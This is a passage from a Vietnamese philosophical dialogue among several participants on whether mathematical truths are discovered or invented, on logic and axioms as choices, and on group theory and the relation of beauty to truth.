phá ra nó thôi. Tức là cái sự thật đó đã tồn tại ở đâu đó rồi, chỉ đợi con người đến khám phá.</div> <div> </div> <div> Lập luận của phe “khám phá” là dựa vào sự “đồng thuận” cao trong toán học. Một định lý đã được chứng minh thì không thể phủ nhận được nữa. Vì toán học không phụ thuộc vào một cá nhân cụ thể của một nhà toán học nào, nên có nhiều khả năng, nó có sự tồn tại độc lập.</div> <div> Phe “sáng tạo” thì cho rằng toán học cũng chỉ là sản phẩm của bộ não người mà thôi.</div> <div> </div> <div> Phe “ba phải”, trong đó có mình, thì cho rằng (định nghĩa) toán học là công cụ (ngôn ngữ) để bộ não người nắm bắt thế giới bên ngoài một cách có hệ thống. Suy từ định nghĩa ra thì nó không thể tồn tại nếu không tồn tại bộ não người (mệnh đề này là rỗng vì giả thiết sai), nhưng nó lại phải chịu thuộc tính của cái nằm ngoài bộ não người.</div> <div> </div> <div> Nói thế cũng có lý, nhưng người nghe vẫn chưa thấy thích.</div> <div> </div> <div> Thực ra đây vấn chỉ là cách xê dịch vấn đề, và phủ thêm một lớp lý luận. Nhưng nó dẫn dắt ta đến một câu hỏi thực sự thú vị, theo mình thì thú vị hơn câu hỏi “khám phá” hay “sáng tạo”: đó là tại sao toán học lại phát triển phần lớn bởi cái logic nội tai của nó, tại sao nó lại tỏ ra hữu hiệu đến thế trong việc mô tả thiên nhiên. Vậy thì cái logic là cái con người lựa chọn hay là cái bị thiên nhiên áp đặt ?</div> <div> </div> <div> Minh - Đây là câu chuyện rất thú vị trong Triết học, câu chuyện “tri thức khách quan”. Thiền án đặt ra là con nhện cứ tưởng mình dệt lưới theo ý mình thích, hóa ra lại theo “tri thức khách quan”. Con người tưởng nói năng lung tung được, hóa ra lại theo “ngữ pháp”, thực chất là một trong các dạng biểu đạt của cấu trúc logic khách quan?</div> <div> </div> <div> Dương – Em cũng nghiêng về cách nhìn “ba phải”, nên mới có câu hỏi là trước khi các kí hiệu toán học (ngôn ngữ toán học) ra đời thì sao. Có lẽ các sự thật toán học chỉ là các mô hình của thực tại. Nhưng cách thức tồn tại và phát triển của toán học làm người ta nghi ngại nhận định này.</div> <div> </div> <div> Về sự phát triển theo logic nội tại của Toán học, liệu có sự tương đồng với một quá trình tự diễn biến nào trong giới tự nhiên không? Nếu có thì có thể dùng một mô hình Vật lý nào đó để khảo sát? Còn nữa, liệu bản chất của việc tìm kiếm các sự thật toán học có thể giải thích theo kiểu “phép đo” trong cơ học lượng tử?</div> <div> </div> <div> Trong Cơ học lượng tử, trạng thái của một hệ vi mô được mô tả bởi hàm sóng là chồng chập của tất các các trạng thái khả dĩ. Khi phép đo được tiến hành, hệ co về một trạng thái duy nhất ứng với kết quả của phép đo. Điều này liệu có điểm gì tương đồng với các sự thật toán học trong giả thiết sau: trước khi được khám phá ra thì thế giới các sự thật toán học ở trạng thái chồng chập đúng-sai, bất định-xác định… cho đến khi được một nhà toán học tiến hành “đo đạc” bằng cách tiến hành những thao tác suy luận logic để chứng minh hoặc phủ nhận một giả thiết toán học nào đó. Trạng thái của sự thật toán học khi đó sẽ co sập lại về tương ứng với kết quả của chứng minh giống như trạng thái của hệ vi mô co sập lại về tương ứng với phép đo trong cơ học lượng tử? Nói cách khác: chính tư duy của nhà toán học đã tạo ra sự thật toán học, giống như phép đo trong cơ học lượng tử đã tạo ra tính chất của hệ vi mô dưới dạng mô tả được?</div> <div> </div> <div> Như thế, một sự thật toán học được tìm ra cũng giống như kết quả của phép đo: vừa mang tính chủ quan, vừa mang tính khách quan, biểu hiện ở chỗ: sự thật toán học là sản phẩm của quá trình tư duy của nhà toán học, nhưng lại nghiệm đúng một cách khách quan và vĩnh viễn sau khi đã được tìm ra? Câu hỏi còn lại là liệu sự thật toán học có mang tính xác suất – bất định như trong cơ học lượng tử?</div> <div> </div> <div> Và hơn nữa, là vì sao bằng tư duy – “phép đo” của mình – con người lại có thể tìm ra những sự thật toán học này?</div> <div> </div> <div> Em có linh cảm là việc tìm kiếm các sự thật toán học và phép đo trong cơ học lượng tử rất gần nhau. Nhưng chỉ là linh cảm thôi, chưa có bằng chứng gì cả.</div> <div> </div> <div> Còn về câu chuyện “tri thức khách quan”, thì đó không chỉ là tri thức có khách quan, mà còn là bản chất của tri thức, nguồn gốc và mối liên hệ của nó với thực tại. Tất nhiên điều này cũng sẽ dẫn đến câu hỏi thực tại là gì và mối liên hệ của nó với tri thức như thế nào, làm sao mà con người lại có thể nhận thức được chúng, nhận thức đó liệu có khách quan hay hoàn toàn chủ quan hay là hỗn hợp của hai thứ đó.</div> <div> </div> <div> Rõ ràng cuộc đối thoại này đã bước ra khỏi phạm vi của các sự thật toán học và tiến tới một lĩnh vực khác: bản chất của thực tại và mối liên hệ của nó với các biểu diễn toán học. Trước khi những kí hiệu và khái niệm toán học được phát minh ra thì các hệ thức toán học như chúng ta thấy bây giờ không tồn tại, nhưng các mối liên hệ của tự nhiên, như trái đất quay xung quanh mặt trời một vòng hết 365 ngày, vẫn tồn tại dù không được biểu diễn bởi các phương trình. Vấn đề đặt ra – hóc búa– là mối quan hệ của thực tại với các mô hình toán học thực sự là gì?</div> <div> </div> <div> Trong trường hợp này, sự thật toán học được chọn như một ví dụ của tri thức. Ngôn ngữ cũng là một ví dụ tốt để xem xét.</div> <div> </div> <div> Minh - Anh nhìn nhận Logos là cái tính năng tràn khắp vũ trụ, cho nên ta và con mèo hiểu nhau rất dễ, và cái trái cây khi chưa sẵn sàng để phát tán hạt thì vẫn giữ màu lá cây để tự vệ và khuyên nhủ các loài “hãy kệ tôi đã”.</div> <div> </div> <div> Riêng xem trong thế giới thực vật và sinh vật muôn loài, ta đã thấy muôn vàn các quá trình trao đổi thông tin, anh từng đặt chữ là “giao tin”, thực hiện được, vậy là dựa vào đâu? Vào tính logos phổ quát.</div> <div> </div> <div> “Sự thật toán học” được Dương nói đến ở trên đây như những kết quả được xây dựng từ những tiên đề toán học “qua một quá trình suy luận logic chặt chẽ”. Như thế chính ở đây ta thừa nhận hệ thống các thuộc tính-quan hệ logic như một hệ thống công cụ có tính tiền đề. </div> <div> </div> <div> “Sự thật logic” như vậy còn tồn tại “trước” cả “sự thật toán học”. “Trước” không phải về không gian, thời gian vật lý, mà về mặt.. logic!</div> <div> </div> <div> Chuyện vui, nếu nhà toán học lạc vào trong rừng mà gặp phải con hổ, con hổ sẽ hiểu nhà toán học hơn cả nhà toán học hiểu chính mình trong địa hạt này… Con hổ sẽ lừa cho nhà toán học toát mồ hôi, toát ngu muội, và nhà toán học chỉ còn biết trông chờ vào may mắn! Tại sao? Vì cả hai cùng với giới tự nhiên đều cùng chia sẻ cái logos phổ quát về không gian, thời gian, về nhân quả, về luận lý, và cả về tâm lý! Và con hổ thì hiểu logos của thánh địa của nó hơn nhà toán học, hiểu cả rằng nó nhanh nhẹn, mạnh mẽ, và khôn ngoan trong săn bắt hơn chính nhà toán học!</div> <div> </div> <div> Ý niệm về “Đạo” của Lão, Trang có gần gũi với Logos. Nhưng yếu kém của “Đạo” là chưa ý thức được cái năng lực siêu phàm trong cái thần của Logos, là dạng thức (forms) – ở ta hay dịch là “hình thức”, cái chữ dễ bị hiểu nhầm nôm na thành như “bề ngoài”. Nhờ hiểu biết về tầm quan trọng vô cùng của dạng thức mà các hiểu biết về logic và toán học phát triển được lên.</div> <div> </div> <div> Nghiên cứu về logic, theo mình thì không có cái gọi là môn “logic nội dung” chọi với “logic hình thức”! Đó chỉ là sự diễn nôm hời hợt. Chỉ có một môn logic, và đó chính là logic dạng thức. Các bộ môn nghiên cứu ứng dụng logic không phải là “logic khác”, mà là các nghiên cứu ứng dụng logic mở ra trong các miền tri thức, các ứng dụng này không phải là các lựa chọn khả thay thế. Ví dụ như “modal logic” là môn nghiên cứu ứng dụng về tình thái ngữ nghĩa trong ngôn ngữ…</div> <div> </div> <div> Phát hiện về dạng thức là nền tảng cho sự phát triển có tính xây dựng được của nền văn minh tinh thần! Khi bạn đang đọc bài trao đổi này, bạn không “đọc” một cuộc thảo luận nguyên trạng, mà đọc cái đã dạng thức hóa của nó qua các “nguyên tử” ký tự (chữ cái, gồm cả các dấu nghỉ, cảm thán, khoảng trắng, cùng “dấu xuống dòng”, dấu chuyển hồi đoạn, dấu chấm hết … gọi chúng là “nguyên tử” vì các nhân tố này là nhỏ nhất trong hệ thống, không còn chẻ ra tiếp được nữa) đã được cấu trúc hóa theo các qui tắc ngữ pháp. Nói theo logic, các ký tự hợp thành hệ thống các ký hiệu, và việc áp dụng hệ các qui tắc nối kết vào các ký hiệu làm nên các công thức (từ, liên từ, đoạn, câu…), chúng được cắt nghĩa và vận động trong một hệ thống luận suy. Xa xôi hơn, bạn đang đọc được một dãy mã hóa “sắc không”, “âm dương”, “0 và 1”, được đại diện bởi các xung điện. Và cuối cùng, chính bạn phải làm cả một cuộc cắt nghĩa toàn bộ dãy mã này trong văn hóa khoa học tiếng Việt để “cảm hiểu” bài trao đổi.</div> <div> </div> <div> Cũng cần nói rõ là cái ý niệm “sắc không”, “âm dương” trong triết học cổ phương Đông chỉ là một khởi điểm của ý tưởng về các đối cực, chứ không hề liên quan gì đến việc phát triển của khoa máy tính sau này. Vì để có ý tưởng mã hóa tất thảy các hiện tượng chỉ từ hai trạng thái để lợi dụng được các xung điện, phải hiểu ra và phát triển được cái logos “dạng thức”, phát triển logic, toán học để xây dựng nên được ngôn ngữ dạng thức và hệ thống các thuật toán, để rồi có thể công nghệ hóa, tự động hóa chúng. Dãy các trạng thái “0 và 1” còn phải chứa hệ thống các cấu trúc để cho phép gắn kết chúng như thế nào trong quá trình vào mã và giải mã các thông tin. Các nhà Đông học tuyệt đối không có gì để vơ quàng sĩ diện ở đây.</div> <div> Cái tiếp theo của câu chuyện nói ở trên là cái nhìn triết học về “khách quan- chủ quan”, “vật chất- tinh thần”.</div> <div> </div> <div> Ở ta lâu nay người ta nhìn vấn đề này không theo tầng tinh thần triết học, mà theo cảm hứng dân dã, “lập trường”. Nên nhìn nhận rất chân thành rằng ở ta không có căn bản truyền thống về tinh thần văn hóa triết học – logic.</div> <div> </div> <div> Câu chuyện vật chất – tinh thần, cái nào “có trước”, cần nói rõ là “có trước về mặt triết học-logic”, là vấn đề lựa chọn.</div> <div> </div> <div> Ví dụ khi bạn chấp nhận “vật chất có trước tinh thần”, bạn dùng cái gì để “xác nhận” nó ? Bạn dùng chính tinh thần bạn!</div> <div> </div> <div> Nếu bạn không dùng tinh thần của bạn để công nhận “vật chất có trước tinh thần”, thì bạn quả là siêu nhiên! Bạn lại dùng “tinh thần vũ trụ” chăng?</div> <div> </div> <div> Như vậy sự công nhận về sự tồn tại của thế giới bên ngoài, “có trước”, độc lập với tinh thần con người, là vấn đề phương pháp, vấn đề lựa chọn tiên đề, chứ không có và không thể có vấn đề “đúng sai” theo nghĩa triết học ở đây.</div> <div> </div> <div> Cái rắc rối tiếp theo là liệu có một cái “logos phổ quát bên ngoài tinh thần con người” hay không?</div> <div> </div> <div> Cái này cũng thuộc về tiên đề triết học nốt. Phải lựa chọn.</div> <div> </div> <div> Và nếu bạn muốn hiểu “sự thật logic”, “sự thật toán học” như một “tri thức khách quan” thì đó cũng là một lựa chọn.</div> <div> </div> <div> Tri thức tiến lên nhiều khi không phải chỉ do “lập luận thông minh đơn thuần”. Lập luận không làm tiến hóa hệ thống. Lập luận chỉ củng cố hoặc mở rộng hệ thống, nếu hệ thống tỏ ra vẫn chuẩn xác (chưa bị rơi vào tự mâu thuẫn), hoặc ngược lại làm nó lụi tàn, nếu hệ thống không chịu nổi các thử thách về logic. Tri thức tiến lên còn do sự quyết đoán lựa chọn, tiêu biểu là việc lựa chọn các tiên đề. Người biết lựa chọn các tiên đề tất nhiên không phải người tầm thường. Sự lựa chọn là một cách mở rộng hoặc đổi thay hệ thống với những rủi ro và đột biến tiến hóa.</div> <div> </div> <div> Einstein đã lựa chọn tiên đề tốc độ ánh sáng là tốc độ cực đại trong vũ trụ chẳng hạn, điều vượt quá đa phần các bộ óc con người (trong đó tất nhiên có mình ! ;-) ).</div> <div> </div> <div> Sự lựa chọn việc tồn tại “logos khách quan” cũng có những cơ sở của nó. Giản đơn nếu như nhà toán học mà quên cho con mèo ăn, thì con mèo sẽ biết làm cho nhà toán học phải hiểu ra bằng được điều đó và cho nó ăn mà thôi.</div> <div> </div> <div> Lựa chọn sự tồn tại “tri thức khách quan” không có nghĩa là bạn đã có nó! Mà bạn hy vọng có thể phát hiện ra nó, đạt được nó như những tri thức cơ sở. Hơn thế nữa, từ những tri thức cơ sở đó bạn có thể xây dựng những tri thức mới trong khi tuân thủ những “tri thức khách quan về logic” – những tri thức chưa bị bác bỏ được. Nhìn chung tri thức luôn có cả hai mặt phát hiện và sáng chế. Như cái công nghệ thông tin phục vụ bạn đây là thuộc về sáng chế, có thế ta mới xem được những bức ảnh chụp bề mặt sao Hỏa rõ mồn một.</div> <div> </div> <div> Tất nhiên bạn có thể chọn tiên đề “không có tri thức khách quan”.</div> <div> </div> <div> Lựa chọn chỉ là phương pháp. Bạn “tự do” trong lựa chọn. Vấn đề là sự lựa chọn đó đưa bạn đi đến đâu, bạn phải đảm trách sự lựa chọn của mình. Cho nên ý thức triết học nhắn ta phải luôn luôn sẵn sàng nhìn lại những tiên đề của mình.</div> <div> </div> <div> Tam giác triết học – logic – toán học thật hấp dẫn và trong tầng sâu thẳm chúng trộn vào nhau. Hãy xem vài trường hợp sau:</div> <div> </div> <div> Lý thuyết tập hợp hình thành là một sự cộng sinh tuyệt đẹp của triết học, logic và toán học.</div> <div> </div> <div> Tỉ như dãy số tự nhiên 0,1,2…n… thực ra không hề “tự nhiên”, mà lần đầu tiên được xây dựng và cắt nghĩa hoàn chỉnh qua các khái niệm triết học-logic-toán học trong lý thuyết tập hợp.</div> <div> </div> <div> Tập rỗng là tập không chứa phần tử nào, ký hiệu “tập 0”. Đây là một tiên đề có tính triết học về mối tương sinh của tồn tại-hư vô, về “khởi thủy”. Không thể tranh luận gì được ở đây.</div> <div> </div> <div> Tập chứa đơn thuần tập rỗng, kí hiệu “tập 1”.</div> <div> </div> <div> Tập chứa “tập 0” và “tập 1”, ký hiệu “tập 2”, v.v.</div> <div> </div> <div> Và như thế ta có một dãy trật tự hóa, mỗi yếu tố trong dãy này là một tập hợp mà các phần tử của mình chính là tất cả các yếu tố- tập hợp đứng trước nó.</div> <div> </div> <div> Vui chuyện, ta có thể tự an ủi rằng cái ý thức của cá nhân mình khi chưa hình thành thì là một tập rỗng. Dần dà nó phát triển lên thật phong phú. Còn khi ta ra đi, ý thức của ta lại trở về là tập rỗng.</div> <div> </div> <div> Hay lấy một ví dụ khác, một quan hệ logic thuần, đơn giản hóa.</div> <div> </div> <div> Cho A, B, C,…Z là những thành tố của một tập hợp “đồng chất” (cùng một lĩnh vực).</div> <div> </div> <div> “Tính bắc cầu” là một quan hệ logic, ký hiệu R, được hiểu: R(A, B) & R(B, C) à R(A, C). Nghĩa là nếu quan hệ bắc cầu tồn tại giữa A và B, và nếu quan hệ bắc cầu đó cũng tồn tại giữa B và C thì ta có quan hệ bắc cầu này giữa A và C.</div> <div> </div> <div> Bây giờ nếu ta có thêm R(C, D) thì ta sẽ có R(A, D), vì ở trên ta đã có R(A,C). Phép chứng minh là một phép co rút hay quy giản tìm được khi áp dụng liên tục các quy tắc suy luận xác thực trên dãy các tiên đề và công thức đã được chứng minh: R(A, B) & R(B, C) à R(A, C); R(A, C) & R(C,D) à R(A, D).</div> <div> </div> <div> Vậy khi phải tính toán, nếu có R(A,B) & R(B,C) & R(C,D) & … & R(Y,Z) thì R(A,Z) có tồn tại hay không, công việc logic này đã thành công việc của toán học. Để gửi cái e-mail từ Chử Đồng Tử tới Tiên Dung, tri thức logic-toán học đã khách quan hóa trong các phần mềm ở các máy chủ sẽ tính xem gửi các gói thông tin này qua các nút máy nào để tính bắc cầu được thực hiện hiệu quả nhất.</div> <div> </div> <div> Và ở chỗ này, bằng chứng của sự lựa chọn “tri thức khách quan” là sức mạnh hiển nhiên: tri thức logic-toán học ở con người đã được chuyển ra ngoài, đây chính là nội dung của khái niệm “tha hóa” mà mình đã từng nói tới, chuyển thành “tri thức khách quan”, hoạt động tự động trong các máy tính! Đó chính là giá trị của sự lựa chọn triết học! Ngày mai bạn có thể được phẫu thuật bằng máy móc điều khiển do một bác sĩ ở phần bên kia địa cầu thông qua internet, và bạn đành phải tin vào tri thức khách quan nằm giữa bạn và ông bác sĩ!</div> <div> </div> <div> Cũng từ đây cho ta thấy cải cách và tiến bộ xã hội là có thể, vì tri thức, trong đó có các lý tưởng nhân văn xác quyết, có thể dần chuyển được ra “xã hội bên ngoài”, làm nên nền văn minh. Và kết thúc được cái xã hội chủ quan luẩn quẩn “con rắn cắn đuôi”, mãi mãi làm lại từ đầu!</div> <div> </div> <div> “Sự thật” hay “chân lý” về mặt triết học-logic là như sau: một biểu đạt, một hệ thống các biểu đạt (hay công thức), rộng nữa là một lý thuyết, có thỏa mãn bảng giá trị chân lý hay không.</div> <div> </div> <div> Nhưng bản thân cái bảng giá trị này, sâu xa về triết học-logic, thì lại không liên quan gì đến chân lý! Nó có đó do sự lựa chọn. Giống như các tiên đề vậy. Như thế chính triết học luôn cảnh tỉnh ta về sự lựa chọn của mình, thay vì băn khoăn và mắc tóc trong chính sự không ý thức về những lựa chọn đã được thực hiện.</div> <div> </div> <div> Về văn hóa thì chuyện này lại càng thú vị nữa. Con người lớn lên và được tắm trong cả “một biển các giá trị chân lý mẹ truyền”! Không có tư duy triết học, con người loay hoay mắc tóc trong đó đời này sang đời khác, đặt những câu hỏi không vào sâu được hơn cái lớp bao bì chân lý mẹ truyền này, và như ta thường hay thấy, người ta tấm tắc “các cụ nói cấm câu nào sai”! Nếu bạn để ý một chút thôi, thì cái biển chân lý này bao giờ cũng chứa tất cả các mệnh đề trái ngược nhau, tỉ như “một giọt máu đào, hơn một ao nước lã” chọi với “bán anh em xa, mua láng giềng gần”. Các lý thuyết cai trị cổ hủ cũng thường rơi vào tình huống này, do vừa cố mở rộng độ biên của ứng dụng, vì đời sống phong phú lên, lại vừa cố bảo trì các tiền đề cũ kĩ. Một cộng đồng muốn tiến lên, phải làm một cuộc tổng kiểm kê về cái bảng các giá trị này, để mà mình ý thức về chúng, để mà mình sẵn sàng được cảnh tỉnh về chúng, để mà mình có thể thay đổi chúng. Việc này không hề dễ tí nào, tương tự như việc quả táo rơi xuống đất tưởng đã hiển nhiên là chân lý, mà hóa ra lại chỉ là một nửa chân lý như Newton đã nhìn ra!</div> <div> </div> <div> Trong tương quan với các lĩnh vực cụ thể, các quan hệ logic như thế nằm ở tầm “cao hơn chân lý”, “trước chân lý” của những lĩnh vực đó… luôn luôn về mặt logic thôi. Về hình ảnh các quan hệ logic đã dạng thức hóa này tồn tại “trước” khi bị “nhúng vào” trong “các trường nhất định”, “các cư dân nhất định”. Ta tạm gọi các quan hệ này «ở ngoài vật thể” hay “trước vật thể”, chú ý, theo nghĩa… logic!</div> <div> </div> <div> Ví dụ quan hệ logic bắc cầu đã nói trên kia R: R(A, B) & R(B, C) à R(A, C) là một dạng thức quan hệ logic thuần.</div> <div> </div> <div> Chỉ khi “nhúng” quan hệ này vào các “trường sự vật» cụ thể, ở đó mới đẻ ra vấn đề chân lý cụ thể, hay gọi là vấn đề cắt nghĩa trên “một trường sự vật”.</div> <div> </div> <div> Trong cái thế giới sự vật “hệ thống tàu điện”, tính bắc cầu này thỏa mãn chân lý.</div> <div> </div> <div> Trong lĩnh vực “yêu mến”, tính bắc cầu không bắt buộc thỏa mãn chân lý. A yêu mến B, B yêu mến C, không tất yếu A yêu mến C. Ở đây việc triển khai tính bắc cầu mang tính bất định, “có thể bị bác bỏ”.</div> <div> </div> <div> Lưu ý rằng tính bắc cầu không nhất thiết thỏa mãn chân lý trong lĩnh vực “yêu mến”, không có nghĩa là tính bắc cầu “sai” về logic thuần túy. Chuyện đó không có nghĩa. Nói thế để ta thấy rõ hơn tầng logic nằm “trước và ngoài” tầng các sự vật cụ thể.</div> <div> </div> <div> Nói chuyện nhiều khi một xã hội Á Đông cứ loay hoay tranh cãi hàng ngàn năm rằng cái “mô hình” xã hội Nghiêu Thuấn “vua sáng tôi hiền, nhà nhà đi ngủ không phải đóng cửa, người người ra đường không ai nhặt của rơi” tự nó đúng hay sai? Câu hỏi đó vô nghĩa và vô ích về mặt vận hành xã hội. Hãy gác việc phân tích kinh viện cái “mô hình” siêu giản siêu thuần túy đó sang một bên, chưa cần thiết. Hãy cắt nghĩa khi áp dụng cái mô hình “logic” đó vào xã hội ở thời điểm lịch sử nhất định, ta đã có tư liệu lịch sử hàng ngàn năm rồi, xem nó có đảm bảo đưa lại thái bình no đủ vui tươi bền vững hay không ? Nếu là “không”, thì nó là sai theo bảng giá trị được chờ đợi trong cái trường lịch sử đó, và ta không phải lo lựa chọn nó.</div> <div> </div> <div> Vấn đề Dương có thể đẩy lên thú vị hơn nữa, là Logos có tồn tại độc lập được với vật thể không? Ví dụ với các lực hấp dẫn đã được tính toán đó, sự tồn tại của bản thân các vật thể có còn là bắt buộc không, hay các vật thể chỉ còn là sự thể hiện và mách bảo cho ta cái Logos. Các công thức tính toán theo nghĩa nào đó đã được “phi vật thể hóa”. Nhà thiết kế một tòa nhà nay có các tri thức khách quan đã được “tha hóa”, chuyển hóa ra và nằm sẵn trong phần mềm máy tính, và anh ta có thể chọn vật liệu xây dựng sau cùng cũng được, miễn là các vật liệu đó thỏa mãn mô hình logic-toán đã được xác quyết bằng các công thức đã được cài đặt trong phần mềm, chúng cho thấy thỏa mãn các tiêu chí được chờ đợi (bảng các giá trị) về độ bền vững, an toàn, giá trị thẩm mỹ, tiện nghi, môi trường, bảo trì, thương mại…</div> <div> </div> <div> Trong lập trình công nghệ tin học, một chương trình được viết thông minh là chương trình độc lập cao với dữ liệu, và nó chứa đựng hệ thống xử lý thông minh và khả năng giao tiếp phong phú. Khi phải ứng dụng cho các hoạt động khác nhau, ta mới cho nó giao tiếp với hệ thống các thông số của các lĩnh vực hoạt động liên quan, để nó tìm ra các ứng xử thích hợp cho các đối tượng của các lĩnh vực đó…</div> <div> </div> <div> Châu – Mình đồng ý là đem cọ sát các cách suy nghĩ khác nhau từ Triết, Toán đến Vật lý có thể đưa ta đi xa. Nhưng theo kinh nghiệm, ánh sáng không lóe ra từ cái cách áp đặt máy móc mô hình suy nghĩ của bên này qua bên kia. Ánh sáng luôn lóe ra từ những sự tương đồng tinh tế, mà mình phải thực sự tìm thì mới thấy. Những điểm tinh tế đó thường là nằm ở dưới lớp vỏ của ngôn ngữ.</div> <div> </div> <div> Sự hình thành của khái niệm nhóm trong toán rất đáng để suy nghĩ từ quan điểm Triết học. Mình có viết nhiều mẩu trên blog về chuyện này nhưng ít ai để ý.</div> <div> </div> <div> Định nghĩa của nhóm đơn giản đến mức có thể làm những người tò mò thất vọng. Nó mô phỏng các biến đổi nội tại của một đối tượng. Hai biến đổi có thể “hợp thành với nhau”, nhưng biến đổi A xảy ra trước biến đổi B kết hợp lại sẽ khác với khi biến đổi B xảy ra trước biến đổi A. Ngoài ra thì mọi biến đổi đểu nghịch đảo được, tức là có một biến đổi theo chiều ngược lại. Các tiên đề về nhóm đại khái chỉ có vậy.</div> <div> </div> <div> Ví dụ cơ bản là các thao tác trên khối rubik. Có thao tác A là quay mặt bên trái một góc 90 độ, có một thao tác B là quay mặt trên một góc 90 độ. Có hai thao tác hợp thành A rồi B và B rồi A. Ngoài ra thì có thao tác nghịch đảo của A, nghĩa là quay mặt bên trái một góc 90 độ theo chiều ngược lại so với A.</div> <div> </div> <div> Nhóm các thao tác trên rubik là một nhóm hữu hạn nhưng có rất nhiều phần tử và khá phức tạp. Vì thế mà khi ta xem hướng dẫn cách quay rubik, nói chung mình chỉ biết chấp hành thôi, còn không hiểu tại sao phải làm như thế. Muốn hiểu phải nghiên cứu tường tận cấu trúc của nhóm này.</div> <div> </div> <div> Bên cạnh các nhóm hữu hạn, rộng hơn là các nhóm rời rạc, ta còn có các nhóm liên tục.</div> <div> </div> <div> Điển hình là nhóm các phép dời trong không gian. Hình học cổ điển có thể biên soạn lại dưới ngôn ngữ của nhóm các phép dời hình trong mặt phẳng hoặc trong không gian. Đó chính là quan điểm của hình học hiện đại. Lý thuyết phương trình đại số một ẩn số được Galois giải thích một cách thấu đáo bằng lý thuyết nhóm Galois. Một trong những cố gắng chính của lý thuyết số hiện đại là mở rộng lý thuyết Galois ra hệ phương trình đại số nhiều ẩn số. Langlands tiên đoán một sự liên quan mật thiết đến các dạng automorphic mà khởi thủy là một nhóm con rời rạc trong một nhóm liên tục. Trong vật lý lý thuyết, Gell-Mann tiên đoán sự tồn tại của một hạt cơ bản dựa vào danh sách các biểu diễn của nhóm Lie.</div> <div> </div> <div> Khái niệm nhóm có vẻ như một cấu trúc đại số đơn giản thuận tiện, rất khó lý giải ảnh hưởng sâu rộng của nó đến hiểu biết chung của con người.</div> <div> </div> <div> Minh – Nhân Châu nói đến vụ cái rubik thấy hấp dẫn quá, nên bàn thêm mấy câu thế này:</div> <div> </div> <div> Tư duy là quá trình Lập Luận, Lập và Luận. Lập Luận xoay vòng nối tiếp nhau. Lập là lựa chọn, là quyết định, là hướng định. Lập khởi thủy là hệ thống các tiên đề, các ký hiệu, các qui tắc kết nối, các quy tắc thao tác, cùng một hệ thống ngữ nghĩa, làm nên một lý thuyết. Luận là quá trình thao tác kết nối, chuyển tải, sinh thành các Lập mới sao cho hợp thức (“không vi hiến”). Toàn bộ dòng này chảy dẫn từ Tiên đề đến Kết luận (Kết luận là một Lập đạt được cuối cùng của một chu trình). Dòng chảy này đa trị, nên có phép chứng minh hay thì có thể rất ngắn, hoặc phép chứng minh kém hay thì có thể siêu dài. Ví dụ về tập hợp các thao tác trên khối rubik của Châu rất hay cho trường hợp này: có người xoay rất nhanh ăn, người khác lâu ăn, riêng mình có thể xoay rubik cả đời không đi đến đâu cả, nhưng không hề phạm một lỗi logic nào! ;-).</div> <div> </div> <div> Trong một lĩnh vực tri thức cụ thể, xuất phát từ Hệ tiên đề mà đạt đến Kết luận mang tính bất định (ví dụ lý thuyết «tính bắc cầu của lòng yêu mến” đưa đến các kết quả “lúc có, lúc nhất định không»), thậm chí mâu thuẫn, sẽ buộc ta phải xem xét lại, bổ sung hoặc thay đổi lý thuyết trong lĩnh vực tri thức đó. Logic chỉ đóng vai trò tư pháp, đảm nhiệm tính hợp pháp của quá trình Luận và của các Lập được sinh thành (ví dụ một công thức mới thu được như kết quả chứng minh hợp pháp thu được từ quá trình Luận). Còn tính chân lý nằm ở trong nội dung các Lập, được cắt nghĩa bởi bảng các giá trị chân lý có được do các kinh nghiệm, thực nghiệm, kiến thức khoa học đã xác tín (tương đối) và/hay các lựa chọn lý tưởng nhân văn xác quyết. Tính chân lý trong trường hợp khối rubik trên kia có thể được định nghĩa trong bảng giá trị như sau: “ở mọi trạng thái ban đầu, ta luôn luôn sẽ có cách đưa khối rubik về trạng thái mà mỗi mặt chỉ có một màu, bằng cách chỉ áp dụng các thao tác cho phép”, như Châu đã nói ở trên.</div> <div> </div> <div> Dương – Như vậy là ở đây có một số vấn đề cần làm rõ hơn:</div> <div> </div> <div> 1. Một lý thuyết mô tả những biến đổi nội tại trở nên rất mạnh khi mô tả thực tại (reality), nên thực tại phải có cấu trúc nội tại và sự biến đổi của thực tại là do những biến đổi nội tại gây ra?</div> <div> </div> <div> 2. Không thể có một kết cục tất yếu cho sự vận động của một thực tại, vì kết cục phụ thuộc vào cách thức và thứ tự của từng biến đổi riêng rẽ. Phán đoán ở mức tốt nhất chỉ là phán đoán thống kê, không thể là phán đoán tất định?</div> <div> </div> <div> 3. Cơ sở cho những tiên đoán như của Gell-Mann là gì? Có phải đó chỉ là sự tự hoàn thiện, đối xứng, tao nhã…, những tiêu chí của cái Đẹp. Như vậy cái Đẹp (Beauty) và cái Thật (Truth) có quan hệ gì? Một lý thuyết đẹp và mô tả xác thực thường được coi là tốt. Vậy Đẹp, Thật, Tốt (Chân-Thiện-Mỹ) có quan hệ gì với nhau? Hay ba cái này là một.Và như thế, có tồn tại một bộ quy luật chung cho Mỹ học và Đạo đức như cho Khoa học? Thực ra, đây là một câu hỏi rất cũ, nhưng đến giờ vẫn chưa có câu trả lời thỏa đáng.</div> <div> </div> <div> Châu – Mình có một lý thuyết như thế này, có thể là hơi hàm hồ.</div> <div> </div> <div> Có rất nhiều yếu tố khác nhau để tạo nên cái đẹp. Một yếu tố là tính vừa đủ: không thiếu, đặc biệt là không thừa.</div> <div> </div> <div> Phải chăng thiên nhiên tuân theo nguyên tắc tiết kiệm, không chỉ tiết kiệm năng lượng, mà còn tiết kiệm cả thông tin nữa. Vì thế ngôn ngữ để mô tả nó cũng phải thỏa mãn tính tiết kiệm thông tin.</div> <div> </div> <div> Cái đẹp có một lợi thế khác nữa trong quá trình phát triển của tri thức, cái đẹp dễ được tiếp thu hơn. Cái gì xấu xí, nhưng có giá trị, thường sẽ được con người gọt rũa cho đến khi nó trở thành đẹp. Cái gì giữ mãi cái vỏ xấu xí của mình sẽ có nhiều cơ hội để rơi vào lãng quên.</div> <div> </div> <div> Dương – Lý thuyết của anh không “hàm hồ” chút nào, mà ngược lại, “cực kỳ tao nhã” (cười).</div> <div> </div> <div> Chẳng phải Einstein từng nói: một lý thuyết cần “simple, but not simpler” thì cũng hàm ý không thiếu không thừa.</div> <div> </div> <div> Nhân vật Hòa Thân trong phim Tể tướng Lưu gù một thời làm mưa làm gió trên phim truyền hình (Việt Nam, còn ở Trung Quốc thì không rõ) miêu tả một cô gái đẹp cho vua Càn Long như sau: cô ấy đẹp đến nỗi nếu bớt một chút thì thiếu, mà thêm một chút thì thừa. Càn Long (tay chơi có số) nghe đến 